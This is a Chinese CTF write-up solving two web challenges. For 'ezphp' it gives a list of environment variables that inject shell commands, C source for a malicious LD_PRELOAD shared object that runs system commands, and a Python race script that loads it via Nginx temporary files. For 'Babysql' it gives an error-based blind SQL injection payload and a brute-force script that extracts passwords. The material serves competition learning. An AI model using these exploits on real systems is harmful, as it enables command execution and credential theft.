1、ezphp
参考Jacko师傅的这篇虎符CTF
写的已经很详细了,先简单梳理一下题目,题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令。简单来说就是不同的系统,他的system命令调用的命令不同。
php中调用system本质上是调用了sh -c,在不同操作系统中:
- debian:sh→dash
- centos:sh→bash
总结:
BASH_ENV
:可以在bash -c
的时候注入任意命令ENV
:可以在sh -i -c
的时候注入任意命令PS1
:可以在sh
或bash
交互式环境下执行任意命令PROMPT_COMMAND
:可以在bash
交互式环境下执行任意命令BASH_FUNC_xxx%%
:可以在bash -c
或sh -c
的时候执行任意命令
题目就是P师傅没解决的debian系统
而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI
Nginx对于请求的body内容会以临时文件的形式存储起来
大概思路是:
- 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
- 传一个填满大量脏数据的so文件
- 竞争LD_PRELOAD包含 proc 目录下的临时文件
这是生成so的源文件
1#include <stdlib.h>
2#include <stdio.h>
3#include <string.h>
4
5__attribute__ ((__constructor__)) void preload (void){
6 unsetenv("LD_PRELOAD");
7 system("id");
8 system("cat /flag > /var/www/html/flag");
9}
注意,在代码里加许多无用代码,我加了两万行的
1a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;
如图
使用以下命令编译生成so文件
1gcc -shared -fPIC hook_exp.c -o hook_exp.so
后来生成的恶意so文件有163kb
接下来就是竞争脚本,注意url和恶意so文件的路径。
1import requests
2import _thread
3
4f=open("hook_exp.so",'rb')
5data=f.read()
6url="http://localhost:12333/"
7
8def upload():
9 print("start upload")
10 while True:
11 requests.get(url+"index.php",data=data)
12
13def preload(fd):
14 while True:
15 print("start ld_preload")
16 for pid in range(10,20):
17 file = f'/proc/{pid}/fd/{fd}'
18 # print(url+f"index.php?env=LD_PRELOAD={file}")
19 resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
20 # print(resp.text)
21 if 'uid' in resp.text:
22 print("finished")
23 exit()
24
25try:
26 _thread.start_new_thread(upload, ())
27 for fd in range(1, 20):
28 _thread.start_new_thread(preload,(fd,))
29except:
30 print("error")
31
32while True:
33 pass
当脚本运行出现finished,直接url访问、flag就会自动下载flag
2、Babysql
这里直接搬运Jacko师傅的,我没搞出来
hint.md
1```sql
2CREATE TABLE `auth` (
3 `id` int NOT NULL AUTO_INCREMENT,
4 `username` varchar(32) NOT NULL,
5 `password` varchar(32) NOT NULL,
6 PRIMARY KEY (`id`),
7 UNIQUE KEY `auth_username_uindex` (`username`)
8) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
9```
10
11```js
12import { Injectable } from '@nestjs/common';
13import { ConnectionProvider } from '../database/connection.provider';
14
15export class User {
16 id: number;
17 username: string;
18}
19
20function safe(str: string): string {
21 const r = str
22 .replace(/[\s,()#;*\-]/g, '')
23 .replace(/^.*(?=union|binary).*$/gi, '')
24 .toString();
25 return r;
26}
27
28@Injectable()
29export class AuthService {
30 constructor(private connectionProvider: ConnectionProvider) {}
31
32 async validateUser(username: string, password: string): Promise<User> | null {
33 const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
34 const [rows] = await this.connectionProvider.use((c) => c.query(sql));
35 const user = rows[0];
36 if (user && user.password === password) {
37 // eslint-disable-next-line @typescript-eslint/no-unused-vars
38 const { password, ...result } = user;
39 return result;
40 }
41 return null;
42 }
43}
这道题出得挺好的
首先看代码逻辑,先对输入的username进行查询,如果有,则用输入的password同查询出来的比较
看了这个首先想到的当然是union select
,然而这里过滤了,当然这个过滤是绕不了的,双写不行,这里存在就把这个字符串替空,而不只是union
再看看hint中的regexp,在过滤了()
的前提下,regexp确实是个好函数
就想着能不能通过regexp把用户名密码匹配出来,想到了盲注
然而,盲注并非易事,这里不管有没有查询出结果,只要没拿到最终的用户名密码之前,都返回null,这就无法进行布尔盲注了
那有没有可能进行时间盲注呢?没有括号,这里调用不了像sleep()
之类的函数,哎?再结合regexp,会不会正则匹配进行延时,然而并没有想象这么简单,进过本地一番测试发现,一延时mysql直接报Timeout了 ,没法利用
然而就在没思绪地用regexp测试的时候,发现当regexp传入不合语法匹配规则的时候会报错,报错?这不是可以用报错进行布尔盲注了吗?
这时候刷新一下题目信息,还是零解,赶紧冲!
说干就干,经过几番优化之后,构造出来
1SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;
构造是构造出来了,其中1为布尔点,然而当我换成regexp的时候出问题了
1SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;
我原以为当前面匹配的时候,就不会执行后面错误的正则匹配了,然而我错了,regexp的语法检查是在查询判断之前进行的
后面换了其他一些报错的方法,最后发现通过整型溢出可以成功
1SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;
当匹配的时候为真,溢出报错,不匹配的时候正常不报错
现在问题就变成了怎么去掉括号,加法的优先级高过regexp,并不是随随便便可以去掉的,这里也想了很久,最后用case来解决了这个问题
1SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;
这里有几个点:
- username和regexp之间怎么隔开?这里把username用反引号引起来
- when和then怎么隔开?这里用了字符的强转型
- then后的1和else怎么隔开?这里加多一个空字符
- 最后end怎么闭合后面的单引号?这里加多一个**||**
这些可能都是一些看到了payload觉得很简单,然而真正亲手尝试的时候会遇到各种各样的坑
后面就是脚本了,同样也并不顺利,和队友交流了之后还是花了好久,不过最终还是做出来了
- 特殊字符怎么办?用反引号进行转义
- 大小写怎么区分?用COLLATE utf8mb4_bin
直接上脚本
1import requests
2url='http://xxx/login'
3flag=''
4for i in range(1,50):
5 for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
6 temp=ascii
7 if(temp in '^!?$'):
8 temp="\\\\\\"+temp
9 payload={
10 'password':'xxx',
11 'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
12 }
13 response=requests.post(url=url, data=payload)
14 print(payload)
15 print(response.text)
16 if '500' in response.text:
17 flag+=temp
18 print(flag)
19 break
20 print(ascii)
跑出用户名密码直接登陆就可以了
3、Baby Router Updater和4、ezchain,一个杂揉了web、crypto、misc、reverse,一个Java,我不会